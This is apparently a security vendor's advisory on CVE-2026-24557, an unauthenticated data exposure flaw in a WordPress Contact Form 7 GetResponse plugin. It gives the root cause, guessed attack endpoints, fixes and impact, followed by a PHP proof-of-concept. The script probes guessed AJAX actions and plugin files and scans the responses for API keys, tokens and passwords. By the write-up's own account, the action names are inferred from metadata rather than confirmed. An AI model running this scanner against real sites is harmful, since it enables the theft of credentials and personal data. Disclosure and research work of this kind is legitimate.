Atomic Edge analysis of CVE-2026-24557 (metadata-based):
This vulnerability allows unauthenticated attackers to extract sensitive user or configuration data from the Contact Form 7 GetResponse Extension plugin for WordPress. The plugin’s integration components expose information to unauthorized actors. The CVSS 5.3 score reflects a moderate impact information disclosure vulnerability with network attack vector and no authentication requirements.
Atomic Edge research identifies the root cause as improper access control on a WordPress endpoint. The CWE-200 classification indicates the plugin likely exposes sensitive data through an AJAX handler, REST API endpoint, or admin interface without proper capability checks. This inference stems from the WordPress plugin architecture pattern where extensions commonly register AJAX actions for both authenticated and unauthenticated users via wp_ajax_nopriv hooks. The vulnerability description confirms unauthenticated access to sensitive data, suggesting missing or insufficient authorization verification before data retrieval operations.
Exploitation involves sending HTTP requests to specific WordPress endpoints that the plugin registers. The most probable attack vector targets the plugin’s AJAX handlers at /wp-admin/admin-ajax.php with action parameters containing the plugin slug or related identifiers. Attackers could send POST requests with action=cf7_getresponse_* or similar patterns to trigger data disclosure functions. Alternative vectors include direct access to plugin PHP files in /wp-content/plugins/contact-form-7-getresponse-extension/ or REST API endpoints at /wp-json/cf7-getresponse/*. Without authentication, these requests return sensitive configuration data, API keys, or user information stored by the plugin.
Remediation requires implementing proper authorization checks on all data retrieval endpoints. The plugin must verify current_user_can() capabilities before processing sensitive operations. WordPress AJAX handlers should validate nonces for state-changing operations and implement strict capability checks for data exposure functions. The fix should remove unauthenticated access to sensitive endpoints or implement robust authentication mechanisms. Plugin developers should audit all wp_ajax_nopriv registrations and ensure they don’t expose confidential data.
Successful exploitation exposes sensitive plugin configuration data, potentially including GetResponse API keys, integration settings, and user information collected through contact forms. Attackers could harvest this data for further attacks against the GetResponse platform or use exposed API keys to manipulate mailing lists. The information disclosure could facilitate additional attacks against the WordPress installation or connected services. While no direct privilege escalation or remote code execution occurs, the exposed data significantly increases the attack surface.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24557 - Contact Form 7 GetResponse Extension <= 1.0.8 - Unauthenticated Information Exposure
<?php
/**
* Proof of Concept for CVE-2026-24557
* Assumptions based on WordPress plugin patterns:
* 1. Plugin registers AJAX actions with 'wp_ajax_nopriv_' prefix
* 2. Action names likely contain 'cf7_getresponse' or similar plugin identifier
* 3. Sensitive data returned via JSON or plaintext response
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// Common AJAX action patterns for this plugin
$action_candidates = [
'cf7_getresponse_get_settings',
'cf7gr_get_data',
'getresponse_cf7_config',
'cf7_getresponse_list_data',
'cf7gr_ajax_handler'
];
echo "[+] Testing CVE-2026-24557 on $target_urlnn";
foreach ($action_candidates as $action) {
echo "[*] Testing AJAX action: $actionn";
$ch = curl_init();
$post_data = [
'action' => $action,
// Common parameters that might trigger data exposure
'get' => 'settings',
'data' => 'config',
'type' => 'all'
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post_data,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => 10,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_USERAGENT => 'Atomic-Edge-PoC/1.0'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code == 200 && !empty($response)) {
echo "[!] POTENTIAL VULNERABILITY DETECTEDn";
echo " Action: $action returned datan";
echo " Response preview: " . substr($response, 0, 200) . "...n";
// Check for sensitive data patterns
$sensitive_patterns = [
'/api[_-]?key/i',
'/token/i',
'/secret/i',
'/password/i',
'/connection/i',
'/config/i',
'/settings/i',
'/"email"/i',
'/"name"/i'
];
foreach ($sensitive_patterns as $pattern) {
if (preg_match($pattern, $response)) {
echo " [CRITICAL] Contains sensitive data pattern: $patternn";
}
}
echo "n";
} else {
echo " No vulnerable response (HTTP $http_code)n";
}
curl_close($ch);
}
// Test direct plugin file access (common alternative vector)
echo "[*] Testing direct plugin file accessn";
$plugin_files = [
'/wp-content/plugins/contact-form-7-getresponse-extension/includes/ajax-handler.php',
'/wp-content/plugins/contact-form-7-getresponse-extension/admin/ajax.php',
'/wp-content/plugins/contact-form-7-getresponse-extension/getresponse-api.php'
];
foreach ($plugin_files as $file) {
$test_url = str_replace('/wp-admin/admin-ajax.php', $file, $target_url);
$ch = curl_init($test_url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_TIMEOUT => 5,
CURLOPT_USERAGENT => 'Atomic-Edge-PoC/1.0'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code == 200 && strlen($response) > 0) {
echo "[!] Direct file accessible: $filen";
}
curl_close($ch);
}
echo "n[+] PoC completed. Review responses for sensitive data.n";
?>
